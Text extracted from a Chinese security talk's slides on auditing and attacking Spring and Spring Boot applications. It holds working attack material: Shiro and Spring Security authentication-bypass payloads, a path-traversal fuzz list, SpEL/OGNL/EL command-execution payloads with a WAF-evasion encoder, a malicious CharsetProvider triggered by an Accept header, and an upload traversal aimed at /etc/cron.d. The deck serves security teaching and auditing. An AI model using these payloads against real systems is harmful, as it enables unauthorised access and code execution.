Hacking
panda
2023.06.10
About Me
• T00ls荣誉成员
• T00ls 名人堂成员
• 《Java 代码审计 · 入门篇》作者之一
• 某甲方安全工程师
• Blog: [Link]
2
Audit Spring Framework & Spring Boot
Hacked Spring
Audit Spring Framework & Spring Boot - 快速审计思路
• 无情的 find jar 机器 – 你的眼睛是铁
fastjson
• version <= 1.2.80
shiro
• version < 1.11.0
log4j
• 2.x.x <= version < 2.17.0
hessian
xtream
actuator
……
5
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
6
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
7
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
8
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
9
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
10
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
11
Audit Spring Framework & Spring Boot - 快速审计思路
Murphysec Code Scan
12
Audit Spring Framework & Spring Boot - 快速审计思路
人工 工具
优点:
优点:
• 代码数据安全
• 速度快,覆盖面较广
缺点: • 门槛低,快速分析
• 专家经验 优点:
• 易遗漏 • 代码数据安全无法 100%
保障
13
Audit Spring Framework & Spring Boot - 快速审计思路
[Link]
<servlet>
<servlet-name>hrssworkflowervlet</servlet-name>
<servlet-class>
[Link]
</servlet-class>
Special Servlet
<load-on-startup>2</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>hrssworkflowervlet</servlet-name>
<url-pattern>/workflowpng</url-pattern>
</servlet-mapping>
Audit Spring Framework & Spring Boot - 快速审计思路
[Link]
<service name="Version" provider="java:RPC">
<parameter name="allowedMethods" value="getVersion"/>
<parameter name="className" value="[Link]"/>
</service>
<service name="AdminService" provider="java:MSG"> Special Services
<parameter name="allowedMethods" value="AdminService"/>
<parameter name="enableRemoteAdmin" value="false"/>
<parameter name="className" value="[Link]"/>
……
</service>
Audit Spring Framework & Spring Boot – 通用审计思路
未授权(前台)
鉴权分析
授权(后台) 鉴权绕过 通用漏洞分析
16
Audit Spring Framework & Spring Boot – 通用审计思路
命令执行
反序列化
模板注入 关键函数 RCE
代码执行
反射调用
JNDI 代码功能
通用漏洞分析 表达式注入
SQL
文件上传 漏洞组合链
未授权优先
文件读取/下载
……
17
Audit Spring Framework & Spring Boot – 通用审计思路
Fortify
CodeQL 扫描结果人工分析
工具一把梭
Checkmarx
Tabby
18
Audit Spring Framework & Spring Boot – 审计小 trick
避免某些文件中找不到对应类
> find ./ -name "*.jar" -exec cp {} dir \;
要搜索的目录 存放 jar 文件的目录
19
Audit Spring Framework & Spring Boot – 审计小 trick
20
Audit Spring Framework & Spring Boot – 审计小 trick
统一反编译
[Link]
[Link]
> java -cp "/Applications/IntelliJ [Link]/Contents/plugins/java-decompiler/lib/[Link]"
[Link] -dgs=true [Link] /Dir
存放目录
要反编译的 jar 文件或目录
21
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
目录及文件 注解 关键字
Controller @Controller extends HttpServlet
Web @RestController
HttpServletRequest
interceptor @RequestMapping request
api @GetMapping .getParameter
servlet @PostMapping RequestBody
webservice @PutMapping ResponseBody
[Link] @PutMapping PathVariable
[Link] @DeleteMapping RequestParam
@PatchMapping
@CrossOrigin
@interface
22
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
23
Audit Spring Framework & Spring Boot – 审计小 trick
路由寻找
24
Audit Spring Framework & Spring Boot – 审计小 trick
[Link]#lookupHandlerMethod
1 protected HandlerMethod lookupHandlerMethod(
2 String lookupPath, HttpServletRequest request) throws Exception {
3 List<Match> matches = new ArrayList<>();
4 List<T> directPathMatches =
5 [Link](lookupPath);
6 if (directPathMatches != null) {
7 addMatchingMappings(directPathMatches, matches, request);
8 }
9 if ([Link]()) {
10 // No choice but to go through all mappings...
11 ......
12 }
Audit Spring Framework & Spring Boot – 审计小 trick
26
Audit Spring Framework & Spring Boot – 审计小 trick
鉴权绕过
[Link] < 5.3
suffixPatternMatch = True Spring security Configure Bypass
/**/**.html
/users = /users .*
/**/**.*
/**/**.js
27
Audit Spring Framework & Spring Boot – 审计小 trick
WEB-INF/KmssConfig/sys/authentication/[Link]
1 <!-- SpringSecurity 配置开始 -->
2 <bean id="[Link]"
3 name="springSecurityFilterChain"
4 class="[Link]">
5 <constructor-arg>
6 <list value-type="[Link]">
7 <!-- 静态资源,加有效期|版本号 -->
8 <sec:filter-chain pattern="/**/*.gif" filters="resourceCacheFilter" />
9 <sec:filter-chain pattern="/**/*.jpg" filters="resourceCacheFilter" />
10 <sec:filter-chain pattern="/**/*.png" filters="resourceCacheFilter" />
11 <sec:filter-chain pattern="/**/*.bmp" filters="resourceCacheFilter" />
12 <sec:filter-chain pattern="/**/*.ico" filters="resourceCacheFilter" />
13 <sec:filter-chain pattern="/**/*.css" filters="resourceCacheFilter,gzipFilter" />
14 <sec:filter-chain pattern="/**/*.js" filters="resourceCacheFilter,gzipFilter" />
15 <sec:filter-chain pattern="/**/*.tmpl" filters="resourceCacheFilter,gzipFilter" />
16 <sec:filter-chain pattern="/**/*.html" filters="gzipFilter" />
17 ......
18 </bean>
Audit Spring Framework & Spring Boot – 审计小 trick
[Link] 29
Audit Spring Framework & Spring Boot – 审计小 trick
AuthXXXXXFilter
1 Public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) {
2 ......
3 private boolean canAccesseWithoutAuthentication(String url){
4 if ([Link](".*\\.(js|css|gif|jpg|ico|png|swf|dat|axd|html)$", url)){
5 return true;
6 } else if ( &&  &&  )
7 ......
8 }
9 ......
Audit Spring Framework & Spring Boot – 审计小 trick
@Override configurePathMatch
[Link](false)
suffixPatternMatch = false
[Link]
<mvc:annotation-driven>
<mvc:path-matching suffix-pattern="false"/>
</mvc:annotation-driven>
31
Audit Spring Framework & Spring Boot – 审计小 trick
鉴权绕过
[Link] > 4.0
setUseTrailingSlashMatch = True Some Auth Code Bypass
/users = /users/
getRequestURI().equals("/admin/info")
32
Audit Spring Framework & Spring Boot – 审计小 trick
.antMatchers("/admin","/user/*/info","/api/*").authenticated()
AntPathRequestMatcher à MATCH_ALL = "/**"
/api/addUser ———— /api/addUser/
setUseTrailingSlashMatch = True à /api/addUser == /api/addUser/
fullMatch = True à /api/addUser != /api/addUser/
pattern: "/api/admin/* " pattern: "/api/admin/ "
pattern: "/api/admin/addUser/* " pattern: "/api/admin/ "
Spring Security
pattern: “/api/*/addUser " pattern: "/api/anything/addUser/ "
pattern: "/api/* " pattern: "/api/admin/ "
auth: /admin/addUser
RegexRequestMatcher(“/admin/.* ", null)
CVE-2022-22975
bypass: /admin/%0daddUser 33
Audit Spring Framework & Spring Boot – 审计小 trick
private boolean authPass(ServletRequest request){
HttpServletRequest httpRequest = (HttpServletRequest)request;
startsWith()
if([Link]().startsWith(“/sys/service/”)){
return true;
}else if([Link]().endsWith(“[Link]”)){
[Link]() return true;
}
......
endWith }
bypass: /sys/service/../../sys/admin bypass: /xxxpath;%[Link]
34
Audit Spring Framework & Spring Boot – 审计小 trick
[Link] /org/ivesoftware/admin/[Link]
public static boolean testURLPassesExclude(String
url, String exclude) {
<filter>
if ([Link]("*")) {
<filter-name>AuthCheck</filter-name>
if ([Link]([Link](0,
<filter-class> [Link]()-1))) {
[Link] // Now make sure that there are no ".."
</filter-class> characters in the rest of the URL.
if (
<init-param>
&& ![Link]().contains("%2e")) {
<param-name>excludes</param-name>
return true;
<param-value>
}
[Link],[Link]?logout=true,setup/[Link], }
setup/setup-*,.gif,.png,[Link],[Link] }
</param-value> ......
}
</init-param>
</filter>
CVE-2023-32315: /setup/setup-s/%u002e%u002e/%u002e%u002e/[Link] à /setup/setup-s/../../[Link] à [Link] 35
Audit Spring Framework & Spring Boot – 审计小 trick
forward
1 ShiroFilterFactoryBean shiroFilterFactoryBean() {
2 ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
3 [Link](securityManager()); // 指定 SecurityManager
4 [Link](“/login”); // 登录页面
5 [Link](“/index”); // 登录成功页面
6 [Link](“/unauthorizedurl”); // 访问未获授权路径时跳转的页面
7 Map<String, String> map = new LinkedHashMap<>();
8 [Link]("/doLogin", "anon");
9 [Link]("/admin", "authc");
10 [Link](map);
11 return bean;
12 }
Audit Spring Framework & Spring Boot – 审计小 trick
forward
1 @GetMapping("/test")
2 public void test(HttpServletRequest request, HttpServletResponse response){
3 RequestDispatcher rd = [Link]("/admin");
4 try {
5 [Link](request, response);
6 } catch (Exception e) {
7 [Link]();
8 }
9 }
10 @GetMapping("/admin")
11 public String hello() {
12 return "admin";
13 }
14 @GetMapping("/login")
15 public String login() {
16 return "please login!";
17 }
Audit Spring Framework & Spring Boot – 审计小 trick
Shiro 权限绕过 CVE-2022-40664
forward
38
Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过 zk/src/org/zkoss/zk/au/http/[Link]
1 public void service(HttpServletRequest request, HttpServletResponse response, String pathInfo)
2 throws ServletException, IOException {
3 ......
4 if (nextURI == null)
5 nextURI = [Link]("nextURI");
6 ......
7 if (nextURI == null || [Link]() == 0)
8 nextURI = "~./zul/html/[Link]";
9 [Link](_ctx, request, response, nextURI, attrs, Servlets.PASS_THRU_ATTR);
10 }
Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过
From: [Link]
40
Audit Spring Framework & Spring Boot – 审计小 trick
ZK框架权限绕过
From : [Link]
41
Audit Spring Framework & Spring Boot – 审计小 trick
CVE 编号 Shiro 版本 配置 漏洞形式
shiro < 1.1.0
CVE-2010-3863 JSecurity 0.9.x
/** = anon /./[Link]
CVE-2016-6802 shiro < 1.3.2 Context Path绕过 /xx/../context/[Link]
/toJsonPOJO/
CVE-2020-1957 shiro < 1.5.2 /** = anon Spring Boot < [Link]
à /xx/..;/toJsonPOJO
(=1.5.2)
/toJsonList/aa
(=1.5.2)
à / 的两次编码 --> %25%32%66
/toJsonList/* = authc à /toJsonList/a%25%32%66a
à /toJsonList/a%2fa;
CVE-2020-11989 shiro < 1.5.3 (<1.5.2)
/alter/* = authc (<1.5.2)
&& /shirodemo/alter/test
/** = anon à /;/shirodemo/alter/test
42
Audit Spring Framework & Spring Boot – 审计小 trick
CVE 编号 Shiro 版本 配置 漏洞形式
/hello
CVE-2020-13933 shiro < 1.6.0 /hello/* = authc à /hello/%3ba -> /hello/;a
/hello
CVE-2020-17510 shiro < 1.7.0 /hello/* = authc à/hello/%2e à /hello/.
(/%2e、/%2e/、/%2e%2e、/%2e%2e/都可)
/hello
CVE-2020-13933 shiro < 1.7.1 /hello/* = authc à /hello/%20
/admin/page
CVE-2021-41303 shiro < 1.8.0 /hello/* = authc à/admin/page/
RegExPatternMatcher /alter/aaa
CVE-2022-32532 shiro < 1.9.1 &&
/alter/.*
à /alter/a%0aaa
à /alter/a%0daa
From: [Link] 43
Audit Spring Framework & Spring Boot – 审计小 trick
Default secret
QVD-2023-6271
[Link]
=SecretKey0~90~90~9
JWT
Weak secret
• Secret 生成算法可以猜解
• 弱口令 secret
• Secret 存储文件被读取
44
Audit Spring Framework & Spring Boot – 审计小 trick
ChatGPT
45
Audit Spring Framework & Spring Boot
Hacked Spring
Hacked Spring – 渗透测试实战
Fastjson
Log4Shell
Shrio
组件漏洞 Spring4Shell
Actuator
Axis
Druid
渗透测试实战
Hessian deserialize
XStream deserialize
文件上传
传统漏洞 文件读取
表达式注入
XML 中的注入
权限绕过
47
Hacked Spring – 渗透测试实战
Fastjson
Druid
[Link]
Session moniter à session
Log4Shell
[Link]
Axis
Spring4Shell AdminService
[Link]
[Link]
[Link]
Shrio
[Link]
[Link] [Link]
Actuator Swagger
[Link] [Link]
[Link]
48
Hacked Spring – 渗透测试实战
Hessian deserialize
marshalsec
JNDI-Injection-Exploit
[Link]
49
Hacked Spring – 渗透测试实战
XStream deserialize
Xstream CVE List
From: [Link]
50
Hacked Spring – 渗透测试实战
文件上传
From: su18 51
Hacked Spring – 渗透测试实战
import base64
name = "test"
encode = [Link]("utf-8")
b = base64.b64encode(encode)
print("=?utf-8?B?"+[Link]()+"?=")
文件上传 res = ""
for i in [Link]("gbk"):
tmp = hex(ord(i)).split("0x")[1]
res += f"={tmp}"
print("=?gbk?Q?"+res+"?=")
From: Y4tacker
Commons fileupload > 1.3
52
Hacked Spring – 渗透测试实战
文件上传
......
if(![Link]()){
String Filename = [Link]();
String suffix =
[Link]([Link]("."));
if(!“.xlsx”.equals(suffix) && !".xls".equals(suffix)){
../../../../../../etc/cron.d/[Link]
throw new Exception("非法请求,请导入excel文件");
}
byte[] bytes = [Link]();
String path = ULOADED_FOLDER + Filename;
}
......
53
Hacked Spring – 渗透测试实战
SpringBoot文件上传
[Link]
Accept: text/html;charset=GBK
public List<MediaType> resolveMediaTypes(NativeWebRequest request)
throws HttpMediaTypeNotAcceptableException {
String[] headerValueArray = [Link]("Accept");
...
try {
List<MediaType> mediaTypes =
[Link](headerValues);
...
} catch (InvalidMediaTypeException var5) {
...
[Link](value);
}
}
}
54
Hacked Spring – 渗透测试实战
1
public static Charset forName(String charsetName) {
2 Charset cs = lookup(charsetName);
3 if (cs != null)
4 return cs;
5 ......
6 }
private static Charset lookup(String charsetName) {
7
if (charsetName == null)
8
throw new IllegalArgumentException("Null charset name"); [Link]
9 Object[] a;
10 if ((a = cache1) != null && [Link](a[0]))
11 return (Charset)a[1];
12 return lookup2(charsetName);
13 }
14
private static Charset lookup2(String charsetName) {
Object[] a;
15
if ((a = cache2) != null && [Link](a[0])) {
16
cache2 = cache1;
17 cache1 = a;
18 return (Charset)a[1];
19 }
20 Charset cs;
21 if ((cs = [Link](charsetName)) != null ||
22
(cs = lookupExtendedCharset(charsetName)) != null ||
(cs = lookupViaProviders(charsetName)) != null)
23
{
24
cache(charsetName, cs);
25 return cs; ClassLoader cl = [Link]();
26 } ServiceLoader<CharsetProvider> sl =
27 ......
28 } [Link]([Link], cl);
Hacked Spring – 渗透测试实战
1
import [Link];
2 import [Link];
3 import [Link];
4 import [Link];
5
6 public class Evil extends [Link] {
@Override
7
public Iterator<Charset> charsets() {
8
return new HashSet<Charset>().iterator();
9 }
10 @Override
11 public Charset charsetForName(String charsetName) {
12
13 if ([Link]("Evil")) {
14
try {
[Link]().exec("open -a /System/Applications/[Link]");
15
} catch (IOException e) {
16
[Link]();
17 }
18 }
19 return [Link]("UTF-8");
20 }
21 }
├── [Link]
└── META-INF
curl -X GET “ [Link] ” -H “ Accept: text/html; Charset=Evil "
└── services
└── [Link]
Hacked Spring – 渗透测试实战
SpEL
T([Link]).getRuntime().exec(“open /System/Applications/[Link]")
${@[Link]@create().eval('[Link]().exec("open /System/Applications/[Link]")')}
表达式注入 OGNL
${new [Link]().getEngineByName("js").eval("new
j\[Link]['(java.l\[Link][])'](['/bin/sh','-c','open
/System/Applications/[Link]']).start()\u003B")}
EL
${"".getClass().forName("[Link]").getMethod("exec","".getClass()).invoke("".getClass().forName("
[Link]").getMethod("getRuntime").invoke(null),"whoami")}
57
Hacked Spring – 渗透测试实战
#!/usr/bin/env python
#coding: utf-8
def encode(payload):
encode_payload = "" EL表达式注入绕过 waf
for i in range(0, len(payload)):
if i == 0:
encode_payload += "[Link]().charAt(0).toChars(%d)[0].toString()" % ord(payload[0])
else:
encode_payload += ".concat([Link]().charAt(0).toChars(%d)[0].toString())" % ord(payload[i])
return encode_payload
exp1 =
'${"".getClass().forName(%s).getMethod(%s,"".getClass()).invoke("".getClass().forName(%s).getMethod(%s).invoke(null),%s)}' %
(encode('[Link]'),encode('exec'),encode('[Link]'),encode('getRuntime'),encode('whoami'))
print(exp1)
58
Hacked Spring – 渗透测试实战
Db configure file service
Session keep file
EhCache file
文件读取 XML 中的注入
[Link]
. ssh
. bash_history
WSDL
59
Hacked Spring – 渗透测试实战
[Link]
[Link]
路由寻找
[Link]
[Link]
60
Hacked Spring – 渗透测试实战
/login/..;/admin /AdMin
/admin/. /admin/;
/admin/%2e /admin/%3b
/admin;%252flogin /admin/;a
/ad%0amin 权限绕过fuzz /admin/%3ba
/ad%0dmin /login/%u002e%u002e/%u002e%u002e/admin
NoAuth: /login
/admin/%20 /..;/..;/..;/..;/..;/admin
Auth: /admin
/admin/ //admin//
/login/./././admin //;//admin
/login/../admin /[Link]
/login/%2e%2e/admin /[Link]
/./admin/..
/..;/admin
/admin/%20/ 61
/admin..;/
Thanks !
62